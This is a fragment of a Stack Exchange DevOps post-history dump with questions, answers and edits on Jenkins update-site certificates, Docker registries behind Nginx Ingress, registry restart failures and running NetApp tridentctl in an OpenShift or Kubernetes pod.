  <row Id="23989" PostHistoryTypeId="5" PostId="8238" RevisionGUID="1ef473dd-1d8c-4c4f-98e3-956e5a824ea4" CreationDate="2019-05-27T10:24:05.330" UserId="4852" Comment="I don't want to generally disable the checks but only for the update site" Text="Is there a way that I can tell Jenkins to ignore certificates for the update site. &#xD;&#xA;&#xD;&#xA;**Background**&#xD;&#xA;&#xD;&#xA;I have an air-gapped Jenkins installation and there is currently [proper way to make a proxy repo](https://stackoverflow.com/questions/54548140/jenkins-plugin-repo-as-proxy-repo-when-behind-a-firewall/56321607#56321607). Thus I have the following setup:&#xD;&#xA;- I have modified the `hosts` file on the Jenkins host so that `updates.jenkins-ci.org` points to the host of the internal artifact repo&#xD;&#xA;- There is a reverse-proxy in front of artifact repo which handles traffic for `updates.jenkins-ci.org`&#xD;&#xA;&#xD;&#xA;However we are only allowed to use https thus there will be a `name mismatch error` as the certificate does not match the hostname of the artifact repo host&#xD;&#xA;&#xD;&#xA;Remark: I don't want to generally disable the checks but only for the update site so the `The Skip Certificate Check plugin` is not the solution for me" ContentLicense="CC BY-SA 4.0" />
  <row Id="23990" PostHistoryTypeId="2" PostId="8240" RevisionGUID="dc5e60da-3878-4513-8b97-780dc746981f" CreationDate="2019-05-27T14:37:56.007" UserId="6643" Text="When pushing images to a self hosted [Docker registry installed using their official helm chart](https://github.com/helm/charts/tree/master/stable/docker-registry), this works for some images. But for one image, I'm not able to push two layers. Docker retry it several times, without success. The logs of the Kubernetes pod gave me the following error: &#xD;&#xA;&#xD;&#xA;    unknown error reading request payload: unexpected EOF&#xD;&#xA;&#xD;&#xA;### What I already tried on the Ingress&#xD;&#xA;I had the Kubernetes Nginx Ingress behind my registy. Using the direct `NodePort` without Ingress, it works perfectly. So it seems that some limits of the Ingress break the upload. The following annotations were applied:&#xD;&#xA;&#xD;&#xA;    ingress:&#xD;&#xA;      enabled: true&#xD;&#xA;      hosts: &#xD;&#xA;        - my-docker-registry.domain&#xD;&#xA;      tls:&#xD;&#xA;        - hosts:&#xD;&#xA;          - my-docker-registry.domain&#xD;&#xA;      annotations:&#xD;&#xA;        kubernetes.io/ingress.class: nginx&#xD;&#xA;        nginx.ingress.kubernetes.io/proxy-body-size: &quot;0&quot;&#xD;&#xA;        nginx.ingress.kubernetes.io/proxy-read-timeout: &quot;900&quot;&#xD;&#xA;        nginx.ingress.kubernetes.io/proxy-send-timeout: &quot;900&quot;&#xD;&#xA;&#xD;&#xA;Assuming that the uploaded chunk is too large, removing the limit should be enough. Are there any other limits I need to increase so that my registry will properly work behind the Ingress? &#xD;&#xA;&#xD;&#xA;### Background&#xD;&#xA;I want to install the [Component Pack for IBM Connections](https://www.ibm.com/support/knowledgecenter/en/SSYGQH_6.0.0/admin/install/cp_install_config_intro.html). IBM has a very special way to deliver this Kubernetes based application: You get a ~4GB Zip file. It contains all images and helm charts as well as a shell script, which tags and pushes all those images to a custom registry. The `cnx-ingress` image is relatively large:&#xD;&#xA;&#xD;&#xA;    :~/Downloads/IC-ComponentPack-6.0.0.8# l microservices_connections/hybridcloud/images/cnx-ingress.tar &#xD;&#xA;    -rw------- 1 daniel daniel 739M Mär 29 13:18 microservices_connections/hybridcloud/images/cnx-ingress.tar" ContentLicense="CC BY-SA 4.0" />
  <row Id="23991" PostHistoryTypeId="1" PostId="8240" RevisionGUID="dc5e60da-3878-4513-8b97-780dc746981f" CreationDate="2019-05-27T14:37:56.007" UserId="6643" Text="Increase Kubernetes Nginx Ingress limits for large images in Docker registry" ContentLicense="CC BY-SA 4.0" />
  <row Id="23992" PostHistoryTypeId="3" PostId="8240" RevisionGUID="dc5e60da-3878-4513-8b97-780dc746981f" CreationDate="2019-05-27T14:37:56.007" UserId="6643" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;helm&gt;&lt;ingress&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23993" PostHistoryTypeId="5" PostId="8240" RevisionGUID="e1e81f26-5dcf-4732-afd6-5ad0aa44c1f4" CreationDate="2019-05-27T15:26:35.710" UserId="6643" Comment="added 139 characters in body" Text="When pushing images to a self hosted [Docker registry installed using their official helm chart](https://github.com/helm/charts/tree/master/stable/docker-registry), this works for some images. But for one image, I'm not able to push two layers. Docker retry it several times, without success. The logs of the Kubernetes pod gave me the following error: &#xD;&#xA;&#xD;&#xA;    unknown error reading request payload: unexpected EOF&#xD;&#xA;&#xD;&#xA;### What I already tried on the Ingress&#xD;&#xA;I had the Kubernetes Nginx Ingress behind my registy. Using the direct `NodePort` without Ingress, it works perfectly. So it seems that some limits of the Ingress break the upload. The following annotations were applied:&#xD;&#xA;&#xD;&#xA;    ingress:&#xD;&#xA;      enabled: true&#xD;&#xA;      hosts: &#xD;&#xA;        - my-docker-registry.domain&#xD;&#xA;      tls:&#xD;&#xA;        - hosts:&#xD;&#xA;          - my-docker-registry.domain&#xD;&#xA;      annotations:&#xD;&#xA;        kubernetes.io/ingress.class: nginx&#xD;&#xA;        nginx.ingress.kubernetes.io/proxy-body-size: &quot;0&quot;&#xD;&#xA;        nginx.ingress.kubernetes.io/proxy-read-timeout: &quot;900&quot;&#xD;&#xA;        nginx.ingress.kubernetes.io/proxy-send-timeout: &quot;900&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This was taken from [the Nginx Ingress documentation](https://github.com/kubernetes/ingress-nginx/blob/master/docs/examples/docker-registry/ingress-without-tls.yaml), where a Docker Registry behind Nginx acts as example. Are there any other limits I need to increase so that my registry will properly work behind the Ingress? &#xD;&#xA;&#xD;&#xA;### Background&#xD;&#xA;I want to install the [Component Pack for IBM Connections](https://www.ibm.com/support/knowledgecenter/en/SSYGQH_6.0.0/admin/install/cp_install_config_intro.html). IBM has a very special way to deliver this Kubernetes based application: You get a ~4GB Zip file. It contains all images and helm charts as well as a shell script, which tags and pushes all those images to a custom registry. The `cnx-ingress` image is relatively large:&#xD;&#xA;&#xD;&#xA;    :~/Downloads/IC-ComponentPack-6.0.0.8# l microservices_connections/hybridcloud/images/cnx-ingress.tar &#xD;&#xA;    -rw------- 1 daniel daniel 739M Mär 29 13:18 microservices_connections/hybridcloud/images/cnx-ingress.tar" ContentLicense="CC BY-SA 4.0" />
  <row Id="23994" PostHistoryTypeId="2" PostId="8241" RevisionGUID="c6685024-b0d3-4f5f-9af3-a429e602fbb8" CreationDate="2019-05-27T15:32:21.027" UserId="13111" Text="I take for granted you are referring to the [registry server released by docker.com](https://docs.docker.com/registry/). The [documentation](https://docs.docker.com/registry/deploying/) clearly states on the very first line:&#xD;&#xA;&gt; Before you can deploy a registry, you need to install Docker on the host&#xD;&#xA;&#xD;&#xA;Since the registry is the main product of the [docker/distribution opensource project](https://github.com/docker/distribution), you could fork and see how you can modify this as a standalone install not requiring docker, but I have no clue if it is possible and that would probably end up being a bad idea.&#xD;&#xA;&#xD;&#xA;There are other existing products you can install 'standalone' that will let you manage your own registry. But they all come with some degree of requirements (java, ruby...). I have experience with 2 free products I use daily:&#xD;&#xA;&#xD;&#xA;* [Sonatype nexus3 oss](https://fr.sonatype.com/nexus-repository-oss) is a multi format repository manager supporting docker registries (requires java).&#xD;&#xA;* [gitlab-ce](https://about.gitlab.com/install/?version=ce) has support for container registries in each projects if you configure it (ruby required).&#xD;&#xA;&#xD;&#xA;The latest one is probably an overkill if you only need a basic registry and not all of the git, wiki, etc. ressources.&#xD;&#xA;&#xD;&#xA;I recently came across [a fairly recent review article](https://www.objectif-libre.com/en/blog/2018/08/02/self-hosted-docker-registries-showdown/) listing other products I have no experience with:&#xD;&#xA;&#xD;&#xA;* [Harbor](https://github.com/vmware/Harbor) from VMware&#xD;&#xA;* [Portus](https://github.com/SUSE/Portus) by Suse&#xD;&#xA;&#xD;&#xA;It also mentions as a bonus the use of [Openshift as a registry](https://docs.openshift.com/container-platform/latest/install_config/registry/accessing_registry.html), but even minishift for something as light as possible will require to install docker.&#xD;&#xA;&#xD;&#xA;All of these solutions can probably meet your 'native run' requirements, but they are all much more complex to install and maintain than simply poping-up a `registry:2` container." ContentLicense="CC BY-SA 4.0" />
  <row Id="23995" PostHistoryTypeId="5" PostId="8240" RevisionGUID="0a4a494a-23e8-4cab-a208-68a9c8ddfefc" CreationDate="2019-05-27T16:19:41.150" UserId="6643" Comment="added 105 characters in body" Text="When pushing images to a self hosted [Docker registry installed using their official helm chart](https://github.com/helm/charts/tree/master/stable/docker-registry), this works for some images. But for one image, I'm not able to push two layers. Docker retry it several times, without success.&#xD;&#xA;&#xD;&#xA;    3a6fab8d5d23: Retrying in 2 seconds&#xD;&#xA;&#xD;&#xA;The logs of the Kubernetes pod gave me the following error: &#xD;&#xA;&#xD;&#xA;    unknown error reading request payload: unexpected EOF&#xD;&#xA;&#xD;&#xA;Both layers were relatively large (252.5 MB/ 393.8 MB).&#xD;&#xA;&#xD;&#xA;### What I already tried on the Ingress&#xD;&#xA;I had the Kubernetes Nginx Ingress behind my registy. Using the direct `NodePort` without Ingress, it works perfectly. So it seems that some limits of the Ingress break the upload. The following annotations were applied:&#xD;&#xA;&#xD;&#xA;    ingress:&#xD;&#xA;      enabled: true&#xD;&#xA;      hosts: &#xD;&#xA;        - my-docker-registry.domain&#xD;&#xA;      tls:&#xD;&#xA;        - hosts:&#xD;&#xA;          - my-docker-registry.domain&#xD;&#xA;      annotations:&#xD;&#xA;        kubernetes.io/ingress.class: nginx&#xD;&#xA;        nginx.ingress.kubernetes.io/proxy-body-size: &quot;0&quot;&#xD;&#xA;        nginx.ingress.kubernetes.io/proxy-read-timeout: &quot;900&quot;&#xD;&#xA;        nginx.ingress.kubernetes.io/proxy-send-timeout: &quot;900&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This was taken from [the Nginx Ingress documentation](https://github.com/kubernetes/ingress-nginx/blob/master/docs/examples/docker-registry/ingress-without-tls.yaml), where a Docker Registry behind Nginx acts as example. Are there any other limits I need to increase so that my registry will properly work behind the Ingress? &#xD;&#xA;&#xD;&#xA;### Background&#xD;&#xA;I want to install the [Component Pack for IBM Connections](https://www.ibm.com/support/knowledgecenter/en/SSYGQH_6.0.0/admin/install/cp_install_config_intro.html). IBM has a very special way to deliver this Kubernetes based application: You get a ~4GB Zip file. It contains all images and helm charts as well as a shell script, which tags and pushes all those images to a custom registry. The `cnx-ingress` image is relatively large:&#xD;&#xA;&#xD;&#xA;    :~/Downloads/IC-ComponentPack-6.0.0.8# l microservices_connections/hybridcloud/images/cnx-ingress.tar &#xD;&#xA;    -rw------- 1 daniel daniel 739M Mär 29 13:18 microservices_connections/hybridcloud/images/cnx-ingress.tar" ContentLicense="CC BY-SA 4.0" />
  <row Id="23996" PostHistoryTypeId="2" PostId="8242" RevisionGUID="38886fcd-f785-4b5e-b980-ce9700266772" CreationDate="2019-05-28T06:14:10.487" UserId="12767" Text="&#xD;&#xA;**DEPRECATED PYTHON**&#xD;&#xA;&#xD;&#xA;Originally you could install `docker-registry` via `pip` https://github.com/docker/docker-registry&#xD;&#xA;&#xD;&#xA;But this was deprecated with the new generation of `docker-registry` in `golang`   &#xD;&#xA;&#xD;&#xA;&gt; Notice: The classical python &quot;Docker Registry&quot; is deprecated, in favor&#xD;&#xA;&gt; of a new golang implementation. This here is kept for historical&#xD;&#xA;&gt; purpose, and will not receive any significant work/love any more. You&#xD;&#xA;&gt; should head to the landing page of the new registry or the &quot;Distribution&quot; github project instead.&#xD;&#xA;&#xD;&#xA;Here is an old guide that I wouldn't recommend.  &#xD;&#xA;**OLD GUIDE (2014):** https://www.ceondo.com/notes/docker-registry/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**LINUX SNAPS**&#xD;&#xA;&#xD;&#xA;You can also look into Linux Snaps  &#xD;&#xA;**LINK:** https://snapcraft.io/docker  &#xD;&#xA;**GUIDE:** https://www.allprogrammingtutorials.com/tutorials/installing-docker-on-ubuntu-centos-using-snap.php  &#xD;&#xA;&#xD;&#xA;    # Lookup docker snap&#xD;&#xA;    snap info docker&#xD;&#xA;    &#xD;&#xA;    # Install from stable channel&#xD;&#xA;    sudo snap install docker&#xD;&#xA;    &#xD;&#xA;    # Install from a specific channel for deploying older versions&#xD;&#xA;    sudo snap install --channel=&lt;channel-name&gt; docker&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**USING DOCKER**&#xD;&#xA;&#xD;&#xA;The fastest way to get a private docker registry server running is to install docker and then just run a detached container&#xD;&#xA;&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    sudo apt-get install docker.io&#xD;&#xA;    sudo systemctl start docker&#xD;&#xA;    sudo systemctl enable docker&#xD;&#xA;    docker --version&#xD;&#xA;    docker run -d -p 5000:5000 -v /registry/images:/var/lib/registry --restart=always --name registry registry:2&#xD;&#xA;&#xD;&#xA;You may need to setup persistent volumes to store the library images." ContentLicense="CC BY-SA 4.0" />
  <row Id="23997" PostHistoryTypeId="5" PostId="8242" RevisionGUID="1ff41916-0f1d-4c1d-90da-b7ba794ec9ab" CreationDate="2019-05-28T06:19:23.557" UserId="12767" Comment="added 183 characters in body" Text="**DEPRECATED PYTHON**&#xD;&#xA;&#xD;&#xA;Originally you could install `docker-registry` via `pip` https://github.com/docker/docker-registry&#xD;&#xA;&#xD;&#xA;But this was deprecated with the new generation of `docker-registry` in `golang`   &#xD;&#xA;&#xD;&#xA;&gt; Notice: The classical python &quot;Docker Registry&quot; is deprecated, in favor&#xD;&#xA;&gt; of a new golang implementation. This here is kept for historical&#xD;&#xA;&gt; purpose, and will not receive any significant work/love any more. You&#xD;&#xA;&gt; should head to the landing page of the new registry or the &quot;Distribution&quot; github project instead.&#xD;&#xA;&#xD;&#xA;Here is an old guide that I wouldn't recommend.  &#xD;&#xA;**OLD GUIDE (2014):** https://www.ceondo.com/notes/docker-registry/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**LINUX SNAPS**&#xD;&#xA;&#xD;&#xA;You can also look into Linux Snaps  &#xD;&#xA;**LINK:** https://snapcraft.io/docker  &#xD;&#xA;**GUIDE:** https://www.allprogrammingtutorials.com/tutorials/installing-docker-on-ubuntu-centos-using-snap.php  &#xD;&#xA;&#xD;&#xA;    # Lookup docker snap&#xD;&#xA;    snap info docker&#xD;&#xA;    &#xD;&#xA;    # Install from stable channel&#xD;&#xA;    sudo snap install docker&#xD;&#xA;    &#xD;&#xA;    # Install from a specific channel for deploying older versions&#xD;&#xA;    sudo snap install --channel=&lt;channel-name&gt; docker&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**USING DOCKER**&#xD;&#xA;&#xD;&#xA;The fastest way to get a private docker registry server running is to install docker and then just run a detached container&#xD;&#xA;&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    sudo apt-get install docker.io&#xD;&#xA;    sudo systemctl start docker&#xD;&#xA;    sudo systemctl enable docker&#xD;&#xA;    docker --version&#xD;&#xA;    docker run -d -p 5000:5000 -v /registry/images:/var/lib/registry --restart=always --name registry registry:2&#xD;&#xA;&#xD;&#xA;You may need to setup persistent volumes to store the library images.  &#xD;&#xA;&#xD;&#xA;I'm currently using docker installed on a [Synology DiskStation](https://www.storagereview.com/synology_diskstation_ds1815_review) to host my own private docker registry container" ContentLicense="CC BY-SA 4.0" />
  <row Id="23998" PostHistoryTypeId="2" PostId="8243" RevisionGUID="a5862f3a-dabb-4e62-9db8-deb6ebb6a5fa" CreationDate="2019-05-28T09:53:56.620" UserId="15152" Text="I am hosting an own registry.  &#xD;&#xA;After rebooting the Server my registry container is unable to start.&#xD;&#xA;&#xD;&#xA;I used this command to start the registry&#xD;&#xA;```&#xD;&#xA;docker run -d -p 5000:5000 --name registry2 -v /var/lib/registry/:/var/lib/registry -v /root/certs:/certs -v /root/auth/:/auth -eEGISTRY_HTTP_TLS_CERTIFICATE=/certs/domain.crt -e REGISTRY_HTTP_ADDR=0.0.0.0:5000 -e REGISTRY_HTTP_TLS_KEY=/certs/domain.key -e &quot;REGISTRY_AUTH=htpasswd&quot; -e &quot;REGISTRY_AUTH=htpasswd&quot; -e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd -e &quot;REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm&quot; --restart always registry:2.7.1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;After a reboot i get this message when i try docker start:&#xD;&#xA;&#xD;&#xA;&gt; Error response from daemon: OCI runtime create failed: container with id exists: dfb0bef21bdfc8a89b59498befd37f83513e75527c0beb552e0400df2a2b7c7d: unknown&#xD;&#xA;Error: failed to start containers: registry&#xD;&#xA;&#xD;&#xA;Starting a new container works fine.  &#xD;&#xA;How can a fix, it and sould the container not start by itself because of &quot;--restart alway&quot;&#xD;&#xA;&#xD;&#xA;Thx for your help.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23999" PostHistoryTypeId="1" PostId="8243" RevisionGUID="a5862f3a-dabb-4e62-9db8-deb6ebb6a5fa" CreationDate="2019-05-28T09:53:56.620" UserId="15152" Text="Failed to start Container after reboot" ContentLicense="CC BY-SA 4.0" />
  <row Id="24000" PostHistoryTypeId="3" PostId="8243" RevisionGUID="a5862f3a-dabb-4e62-9db8-deb6ebb6a5fa" CreationDate="2019-05-28T09:53:56.620" UserId="15152" Text="&lt;docker&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24001" PostHistoryTypeId="5" PostId="8243" RevisionGUID="1607eee4-e8f0-4e53-8ea6-fd64660a26fe" CreationDate="2019-05-28T10:10:50.580" UserId="15152" Comment="added 10 characters in body" Text="I am hosting an own registry.  &#xD;&#xA;After rebooting the Server my registry container is unable to start.&#xD;&#xA;&#xD;&#xA;I used this command to start the registry&#xD;&#xA;```&#xD;&#xA;docker run -d -p 5000:5000 --name registry -v /var/lib/registry/:/var/lib/registry -v /root/certs:/certs -v /root/auth/:/auth -eEGISTRY_HTTP_TLS_CERTIFICATE=/certs/domain.crt -e REGISTRY_HTTP_ADDR=0.0.0.0:5000 -e REGISTRY_HTTP_TLS_KEY=/certs/domain.key -e &quot;REGISTRY_AUTH=htpasswd&quot; -e &quot;REGISTRY_AUTH=htpasswd&quot; -e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd -e &quot;REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm&quot; --restart always registry:2.7.1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;After a reboot i get this message when i try &quot;docker start registry&quot;:&#xD;&#xA;&#xD;&#xA;&gt; Error response from daemon: OCI runtime create failed: container with id exists: dfb0bef21bdfc8a89b59498befd37f83513e75527c0beb552e0400df2a2b7c7d: unknown&#xD;&#xA;Error: failed to start containers: registry&#xD;&#xA;&#xD;&#xA;Starting a new container works fine.  &#xD;&#xA;How can a fix, it and sould the container not start by itself because of &quot;--restart alway&quot;&#xD;&#xA;&#xD;&#xA;Thx for your help.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24002" PostHistoryTypeId="2" PostId="8244" RevisionGUID="c29bc15c-6b29-4b97-9954-ff391026fe8b" CreationDate="2019-05-28T12:33:13.873" UserId="6619" Text="### Background&#xD;&#xA;We're currently using NetApps Trident PV (Persistent Volume) orchestrator to dynamically create volumes on our NetApp ONTAP clusters for Pods running within our Openshift/Kubernetes environment.&#xD;&#xA;&#xD;&#xA;**NOTE:** See links in the references section if you're unfamiliar with Trident + NetApp.&#xD;&#xA;&#xD;&#xA;### 1. Native Built CLI&#xD;&#xA;Most people will use the [pre-built binary][1] but this will only run `tridentctl` on Linux. Previously we'd been using the `tridentctl` command natively on a Linux system to interact with the Trident controller running within our cluster. &#xD;&#xA;&#xD;&#xA;However, I'd like a more native method to do this from macOS. Currently NetApp does not ship a prebuilt `tridentctl` binary to do this.&#xD;&#xA;&#xD;&#xA;### 2. Using Docker Image&#xD;&#xA;Previously we'd been using the `tridentctl` command natively on a Linux system to interact with the Trident controller running within our cluster. &#xD;&#xA;&#xD;&#xA;Here's my Trident Pod:&#xD;&#xA;&#xD;&#xA;    $ oc -n trident get pods&#xD;&#xA;    NAME                       READY     STATUS    RESTARTS   AGE&#xD;&#xA;    trident-6bdbdbc5dd-l8qtr   2/2       Running   14         6d&#xD;&#xA;&#xD;&#xA;Remote shell into the Pod:&#xD;&#xA;&#xD;&#xA;    $ oc -n trident rsh trident-6bdbdbc5dd-l8qtr&#xD;&#xA;    Defaulting container name to trident-main.&#xD;&#xA;    Use 'oc describe pod/trident-6bdbdbc5dd-l8qtr -n trident' to see all of the containers in this pod.&#xD;&#xA;    / #&#xD;&#xA;&#xD;&#xA;Attempt to run `tridentctl`:&#xD;&#xA;&#xD;&#xA;    / # tridentctl get backend&#xD;&#xA;    Error: could not find the Kubernetes CLI&#xD;&#xA;    / #&#xD;&#xA;&#xD;&#xA;### 3. Other Methods&#xD;&#xA;I explored my options in vain but did not care for any of these:&#xD;&#xA;&#xD;&#xA;- Build Trident from source&#xD;&#xA;- Construct a new Dockerfile based on the Trident Docker image&#xD;&#xA;- Roll my own Docker image with `tridentctl` + `kubectl`&#xD;&#xA;&#xD;&#xA;### References&#xD;&#xA;- [NetApp Trident Read the Docs][2]&#xD;&#xA;- [Trident for Kubernetes (overview)][3]&#xD;&#xA;- [NetApp Trident (Github)][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/NetApp/trident/releases&#xD;&#xA;  [2]: https://netapp-trident.readthedocs.io/&#xD;&#xA;  [3]: https://netapp-trident.readthedocs.io/en/stable-v19.04/kubernetes/index.html&#xD;&#xA;  [4]: https://github.com/NetApp/trident&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24003" PostHistoryTypeId="1" PostId="8244" RevisionGUID="c29bc15c-6b29-4b97-9954-ff391026fe8b" CreationDate="2019-05-28T12:33:13.873" UserId="6619" Text="Interacting with a Trident container (NetApp) via CLI within a Openshift/Kubernetes cluster?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24004" PostHistoryTypeId="3" PostId="8244" RevisionGUID="c29bc15c-6b29-4b97-9954-ff391026fe8b" CreationDate="2019-05-28T12:33:13.873" UserId="6619" Text="&lt;kubernetes&gt;&lt;openshift&gt;&lt;storage&gt;&lt;netapp&gt;&lt;persistent-volumes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24005" PostHistoryTypeId="2" PostId="8245" RevisionGUID="612915e6-69c5-43d7-b78e-9dfeac1ba3f8" CreationDate="2019-05-28T12:33:13.873" UserId="6619" Text="There's apparently 2 methods one can use to leverage `tridentctl` to interact with a running Trident Pod in their Openshift/Kubernetes cluster.&#xD;&#xA;&#xD;&#xA;### 1. Server string&#xD;&#xA;The `tridentctl` CLI can be instructed to talk to whatever server you want remotely using the `-s` or `--server` argument. In this context you could use the approach of remote shelling into the Trident Pod and then directing it to interact with the local Trident Orchestrator daemon.&#xD;&#xA;&#xD;&#xA;### For example&#xD;&#xA;&#xD;&#xA;    $ oc -n trident rsh trident-6bdbdbc5dd-l8qtr&#xD;&#xA;    Defaulting container name to trident-main.&#xD;&#xA;    Use 'oc describe pod/trident-6bdbdbc5dd-l8qtr -n trident' to see all of the containers in this pod.&#xD;&#xA;    / #&#xD;&#xA;&#xD;&#xA;Now to interact:&#xD;&#xA;&#xD;&#xA;    / # tridentctl -s 127.0.0.1:8000 get backend&#xD;&#xA;    +--------------------------+----------------+--------+---------+&#xD;&#xA;    |           NAME           | STORAGE DRIVER | ONLINE | VOLUMES |&#xD;&#xA;    +--------------------------+----------------+--------+---------+&#xD;&#xA;    | ontapnas_192.168.101.101 | ontap-nas      | true   |     389 |&#xD;&#xA;    +--------------------------+----------------+--------+---------+&#xD;&#xA;    / #&#xD;&#xA;&#xD;&#xA;### 2. Creating a Bash Function&#xD;&#xA;To expand on the above method, one could construct a shell function or alias in Bash to streamline this interaction like so:&#xD;&#xA;&#xD;&#xA;    tridentctl () {&#xD;&#xA;        kubectl exec -t -n trident \&#xD;&#xA;            $(kubectl get pods -n trident -l app=trident.netapp.io -o jsonpath=&quot;{.items[].metadata.name}&quot;) \&#xD;&#xA;            -c trident-main -- tridentctl -s 127.0.0.1:8000 $*&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;With this function set, you could then run the following command from your macOS system:&#xD;&#xA;&#xD;&#xA;    $ tridentctl get storageclass -o json&#xD;&#xA;    {&#xD;&#xA;      &quot;items&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;Config&quot;: {&#xD;&#xA;            &quot;version&quot;: &quot;1&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;basic&quot;,&#xD;&#xA;            &quot;attributes&quot;: {&#xD;&#xA;              &quot;backendType&quot;: &quot;ontap-nas&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;storagePools&quot;: null,&#xD;&#xA;            &quot;additionalStoragePools&quot;: null&#xD;&#xA;          },&#xD;&#xA;          &quot;storage&quot;: {&#xD;&#xA;            &quot;ontapnas_192.168.101.101&quot;: [&#xD;&#xA;              &quot;NA_01_aggr1&quot;,&#xD;&#xA;              &quot;NA_01_aggr2&quot;&#xD;&#xA;            ]&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;### How it works&#xD;&#xA;The above function merely determines the name of the Pod within the `trident` namespace and then remotely executes the command `tridentctl` using the same method above of connecting to the locally running Trident Orchestrator daemon within the Pod." ContentLicense="CC BY-SA 4.0" />
  <row Id="24006" PostHistoryTypeId="5" PostId="8245" RevisionGUID="0e7c5f2c-50cb-4ca4-8ffe-860f704eccad" CreationDate="2019-05-28T12:38:30.697" UserId="6619" Comment="added 428 characters in body" Text="There's apparently 2 methods one can use to leverage `tridentctl` to interact with a running Trident Pod in their Openshift/Kubernetes cluster.&#xD;&#xA;&#xD;&#xA;### 1. Server string&#xD;&#xA;The `tridentctl` CLI can be instructed to talk to whatever server you want remotely using the `-s` or `--server` argument. In this context you could use the approach of remote shelling into the Trident Pod and then directing it to interact with the local Trident Orchestrator daemon.&#xD;&#xA;&#xD;&#xA;#### ***For example***&#xD;&#xA;&#xD;&#xA;    $ oc -n trident rsh trident-6bdbdbc5dd-l8qtr&#xD;&#xA;    Defaulting container name to trident-main.&#xD;&#xA;    Use 'oc describe pod/trident-6bdbdbc5dd-l8qtr -n trident' to see all of the containers in this pod.&#xD;&#xA;    / #&#xD;&#xA;&#xD;&#xA;Now to interact:&#xD;&#xA;&#xD;&#xA;    / # tridentctl -s 127.0.0.1:8000 get backend&#xD;&#xA;    +--------------------------+----------------+--------+---------+&#xD;&#xA;    |           NAME           | STORAGE DRIVER | ONLINE | VOLUMES |&#xD;&#xA;    +--------------------------+----------------+--------+---------+&#xD;&#xA;    | ontapnas_192.168.101.101 | ontap-nas      | true   |     389 |&#xD;&#xA;    +--------------------------+----------------+--------+---------+&#xD;&#xA;    / #&#xD;&#xA;&#xD;&#xA;### 2. Creating a Bash Function&#xD;&#xA;To expand on the above method, one could construct a shell function or alias in Bash to streamline this interaction like so:&#xD;&#xA;&#xD;&#xA;#### *Openshift*&#xD;&#xA;    tridentctl () {&#xD;&#xA;        oc rsh -t -n trident \&#xD;&#xA;            $(oc get pods -n trident -l app=trident.netapp.io -o jsonpath=&quot;{.items[].metadata.name}&quot;) \&#xD;&#xA;            -c trident-main -- tridentctl -s 127.0.0.1:8000 $*&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;#### *Kubernetes*&#xD;&#xA;    tridentctl () {&#xD;&#xA;        kubectl exec -t -n trident \&#xD;&#xA;            $(kubectl get pods -n trident -l app=trident.netapp.io -o jsonpath=&quot;{.items[].metadata.name}&quot;) \&#xD;&#xA;            -c trident-main -- tridentctl -s 127.0.0.1:8000 $*&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With one of these functions set, you could then run the following command from your macOS system:&#xD;&#xA;&#xD;&#xA;    $ tridentctl get storageclass -o json&#xD;&#xA;    {&#xD;&#xA;      &quot;items&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;Config&quot;: {&#xD;&#xA;            &quot;version&quot;: &quot;1&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;basic&quot;,&#xD;&#xA;            &quot;attributes&quot;: {&#xD;&#xA;              &quot;backendType&quot;: &quot;ontap-nas&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;storagePools&quot;: null,&#xD;&#xA;            &quot;additionalStoragePools&quot;: null&#xD;&#xA;          },&#xD;&#xA;          &quot;storage&quot;: {&#xD;&#xA;            &quot;ontapnas_192.168.101.101&quot;: [&#xD;&#xA;              &quot;NA_01_aggr1&quot;,&#xD;&#xA;              &quot;NA_01_aggr2&quot;&#xD;&#xA;            ]&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;#### ***How it works***&#xD;&#xA;The above function merely determines the name of the Pod within the `trident` namespace and then remotely executes the command `tridentctl` using the same method above (from method #1) of connecting to the locally running Trident Orchestrator daemon within the Pod using the `--server` string.&#xD;&#xA;&#xD;&#xA;The advantage with one of these approaches is that you simply can use a function/alias to codify it." ContentLicense="CC BY-SA 4.0" />
